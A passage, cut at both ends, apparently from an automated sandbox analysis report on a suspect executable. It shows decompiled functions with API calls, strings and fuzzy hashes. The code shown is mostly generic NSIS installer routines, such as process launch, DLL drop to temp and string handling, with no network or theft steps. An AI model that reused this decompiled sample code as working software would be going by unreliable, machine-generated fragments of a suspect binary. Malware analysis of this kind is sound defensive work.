				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E0040593B();
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402833
0x00402833
0x0040288e
0x0040289a

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction ID: 089b6e11c3ee5c2ceb15467343933f82bc3488a694e04e66c57418204d538f9a
Opcode Fuzzy Hash: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction Fuzzy Hash: B321C4B1A44209BFEF01AFB4CE4AAAE7B75EF40344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 0040523D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040523D(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422480->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422480,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405246
0x00405262
0x0040526a
0x0040526f
0x00000000
0x00405275
0x00405279

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422480,Error launching installer), ref: 00405262
CloseHandle.KERNEL32(?), ref: 0040526F

Strings

Error launching installer, xrefs: 00405250
C:\Users\user\AppData\Local\Temp\, xrefs: 0040523D

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-4043152584
Opcode ID: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction ID: 0a3d69d2a3401d9d63374a1600280413a6fd3692a6ba6d2da32d4f839eaa01ec
Opcode Fuzzy Hash: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction Fuzzy Hash: BEE0E674A1010ABBDB00EF64DD09D6B7B7CFB00304B408621E911E2150D774E4108A79

Uniqueness

Uniqueness Score: -1.00%

Function 004054D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054D0(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x004054d1
0x004054e8
0x004054f0
0x004054f0
0x004054f8

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054D6
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054DF
lstrcatA.KERNEL32(?,00409010), ref: 004054F0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054D0

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: 18d73bba3a4f2c077241afd2b81ba446c35da1b9bd2d8ef2eba9fb39a34af30a
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 09D0A7B2505970AED20126195C05FCF2A08CF023117044423F640B21D2C63C5C819BFD

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5, Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029F6(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E0040593B(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E0040593B(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401ec7
0x00401ecf
0x00401ed4
0x00401ed9
0x00401edd
0x00401ee0
0x00401ee2
0x00401ee9
0x00401ef2
0x00401efa
0x00401efd
0x00401f12
0x00401f18
0x00401f2b
0x00401f34
0x00401f40
0x00401f45
0x00401f45
0x00401f2b
0x00401f48
0x00401b75
0x00401b75
0x00401efd
0x0040288e
0x0040289a

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction ID: 4f4abe4324f754641e01f0e672b51484e064b7e428c6eed24e296c4d37409401
Opcode Fuzzy Hash: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction Fuzzy Hash: 5F114CB2901109BFDB01EFA5D981DAEBBB9EF04354B20803AF501F61E1D7389A55DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af54->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
				 *0x40af64 = E004029D9(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
				 *0x40af6b = 1;
				 *0x40af68 = _t11 & 0x00000001;
				 *0x40af69 = _t11 & 0x00000002;
				 *0x40af6a = _t11 & 0x00000004;
				E004059FF(_t18, _t24, _t26, 0x40af70,  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af54);
				_push(_t14);
				_push(_t26);
				E0040593B();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024b8
0x00401561
0x00402833
0x0040288e
0x0040289a

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF54), ref: 00401D8A

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction ID: 822a585a95499be2ccb46a886614a983d19f7779af01092212c1c8a44adbdb5d
Opcode Fuzzy Hash: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction Fuzzy Hash: 80F04FF1A49742AEE70167B0AE0AB9A3B659719306F14043AF242BA1E2C5BC0454DB7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBE, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BBE(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x417020; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423e8c;
						if(_t2 >  *0x423e8c) {
							_t3 = CreateDialogParamA( *0x423e80, 0x6f, 0, E00402B3B, 0);
							 *0x417020 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405D38(0);
					}
				} else {
					_t6 =  *0x417020; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x417020 = 0;
					return _t6;
				}
			}

0x00402bc5
0x00402bdf
0x00402be5
0x00402bef
0x00402bf5
0x00402bfb
0x00402c0c
0x00402c15
0x00000000
0x00402c1a
0x00402c21
0x00402be7
0x00402bee
0x00402bee
0x00402bc7
0x00402bc7
0x00402bce
0x00402bd1
0x00402bd1
0x00402bd7
0x00402bde
0x00402bde

APIs

DestroyWindow.USER32(00000000,00000000,00402D9E,00000001), ref: 00402BD1
GetTickCount.KERNEL32 ref: 00402BEF
CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C0C
ShowWindow.USER32(00000000,00000005), ref: 00402C1A

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction ID: f2d052a30a3472248e345e5832336eca953f0b1533712f6c56216133e551431f
Opcode Fuzzy Hash: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction Fuzzy Hash: 2AF0DA31D09320ABC661AF14FD4CADB7B75BB09B127014936F101B52E8D77868818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00404CCB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CCB(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420460 != _t22) {
							 *0x420460 = _t22;
							E004059DD(0x420478, 0x424000);
							E0040593B(0x424000, _t22);
							E0040140B(6);
							E004059DD(0x424000, 0x420478);
						}
						L11:
						return CallWindowProcA( *0x420468, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E0040464A(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403DDB(0x413);
				return 0;
			}

0x00404cd7
0x00404cfc
0x00404d1c
0x00404d1f
0x00404d22
0x00404d39
0x00404d3f
0x00404d46
0x00404d4d
0x00404d54
0x00404d59
0x00404d5f
0x00000000
0x00404d6f
0x00404d09
0x00404d5c
0x00404d5c
0x00000000
0x00404d5c
0x00404d15
0x00404d17
0x00000000
0x00404d17
0x00404cdd
0x00000000
0x00000000
0x00404ce4
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404D01
CallWindowProcA.USER32 ref: 00404D6F

Part of subcall function 00403DDB: SendMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404CD9

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction ID: 2250b5ae86c5db7695da18b81197a994f129f58ca555af08ca8730d1192fac1c
Opcode Fuzzy Hash: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction Fuzzy Hash: 5A118CB1600208BBDF217F629C4099B3B69EF84765F00813BFB14392A2C77C8951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
					_t7 = lstrlenA(E004029F6(0x11));
				} else {
					E004029D9(1);
					 *0x409f50 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405954(_t17 + 8, _t15), "C:\Users\engineer\AppData\Local\Temp\nsu6AA7.tmp\System.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024be
0x004024be
0x004024c1
0x004024dc
0x004024c3
0x004024c5
0x004024ca
0x004024d1
0x004024e3
0x0040265c
0x0040265c
0x004024e9
0x004024fb
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x0040288e
0x0040289a

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsu6AA7.tmp\System.dll
API String ID: 427699356-2516299067
Opcode ID: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction ID: 28baf68bc3b2ef7cd727d17ca875bc327529d04ff6cae4c8aacaeccaaba980a4
Opcode Fuzzy Hash: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction Fuzzy Hash: 5AF0B4B2A04241FBDB40BBA09E49AAE37689B00348F10443BA206F51C2D6BC4982A76D

Uniqueness

Uniqueness Score: -1.00%

Function 00403491, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403491() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f434;
				_t3 = E00403476(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f434 =  *0x41f434 & 0x00000000;
				return _t3;
			}

0x00403492
0x0040349a
0x004034a1
0x004034a4
0x004034a4
0x004034a6
0x004034ab
0x004034b2
0x004034b8
0x004034bc
0x004034bd
0x004034c5

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\US1pwXib6h.exe" ,00000000,00000000,00403469,004032BC,00000000), ref: 004034AB
GlobalFree.KERNEL32 ref: 004034B2

Strings

"C:\Users\user\Desktop\US1pwXib6h.exe" , xrefs: 004034A3

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\Desktop\US1pwXib6h.exe"
API String ID: 1100898210-2249471485
Opcode ID: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction ID: 7bfc0464e02b508f879d35a29cae48101a6ab00b4f5f00e512934bdeb57274a8
Opcode Fuzzy Hash: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction Fuzzy Hash: FBE08C3280653097C7221F05AE04B9AB66C6F94B22F068076E8407B3A1C3782C428AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405517, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405517(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405518
0x00405522
0x00405524
0x0040552b
0x00405533
0x00000000
0x00000000
0x00000000
0x00405533
0x00405535
0x0040553a

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\US1pwXib6h.exe,C:\Users\user\Desktop\US1pwXib6h.exe,80000000,00000003), ref: 0040551D
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\US1pwXib6h.exe,C:\Users\user\Desktop\US1pwXib6h.exe,80000000,00000003), ref: 0040552B

Strings

C:\Users\user\Desktop, xrefs: 00405517

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3125694417
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 1341b21386aa9ee456471dc2eb10899dbff8c866770b3e7d35d8712ddbbc4649
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: D9D0C7B2509DB06EE7035614DC04B9F7B89DF17710F1944A2E540A61D5D27C5D418BFD

Uniqueness

Uniqueness Score: -1.00%

Function 738610E0, Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E738610E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x7386405c = _a8;
				 *0x73864060 = _a16;
				 *0x73864064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x73864038, E73861556, _t52);
				_t43 =  *0x7386405c +  *0x7386405c * 4 << 2;
				_t17 = E7386123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E73861266(E738612AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E738612D1( *_t55 - 0x30, E7386123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x73864030;
								 *0x73864030 = _t31;
								E73861508(_t31 + 4,  *0x73864064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x73864030;
							if( *0x73864030 != 0) {
								E73861508( *0x73864064, _t34 + 4, _t43);
								_t37 =  *0x73864030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x73864030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x738610e7
0x738610ef
0x73861103
0x7386110b
0x73861116
0x73861119
0x73861121
0x73861124
0x73861126
0x738611c4
0x738611d0
0x7386112c
0x7386112d
0x7386112d
0x73861130
0x73861131
0x73861134
0x73861203
0x73861206
0x7386119e
0x738611a4
0x738611ac
0x738611b1
0x738611b4
0x00000000
0x738611b4
0x73861209
0x7386120a
0x73861186
0x7386118c
0x73861194
0x00000000
0x73861194
0x73861152
0x73861153
0x7386115b
0x73861168
0x73861170
0x73861179
0x7386117e
0x7386117e
0x00000000
0x73861153
0x7386113a
0x738611d1
0x738611d1
0x738611d8
0x738611e5
0x738611ea
0x738611ef
0x738611f5
0x738611fb
0x738611fb
0x00000000
0x738611d8
0x73861140
0x73861143
0x00000000
0x00000000
0x73861149
0x7386114c
0x7386119b
0x00000000
0x7386119b
0x7386114f
0x73861150
0x73861183
0x00000000
0x73861183
0x00000000
0x738611ba
0x738611ba
0x00000000
0x738611c3

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 7386115B
GlobalFree.KERNEL32 ref: 738611B4
GlobalFree.KERNEL32 ref: 738611C7
GlobalFree.KERNEL32 ref: 738611F5

Memory Dump Source

Source File: 00000001.00000002.368460536.0000000073861000.00000020.00020000.sdmp, Offset: 73860000, based on PE: true

Associated: 00000001.00000002.368453057.0000000073860000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368468718.0000000073863000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.368474728.0000000073865000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: afb9290488fe7192c1caceefff0abbab544ce9844556377de64424682cd80576
Instruction ID: 772d597ffeca2e70a596be6c16fc2e1f9f9d0ec3eb637f66420441ca75246efc
Opcode Fuzzy Hash: afb9290488fe7192c1caceefff0abbab544ce9844556377de64424682cd80576
Instruction Fuzzy Hash: 7A31C6B2504A65EFE702DFFAD949F297FFAEB05240B286515E84ACB253D734C400CB12

Uniqueness

Uniqueness Score: -1.00%

Function 00405629, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405629(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
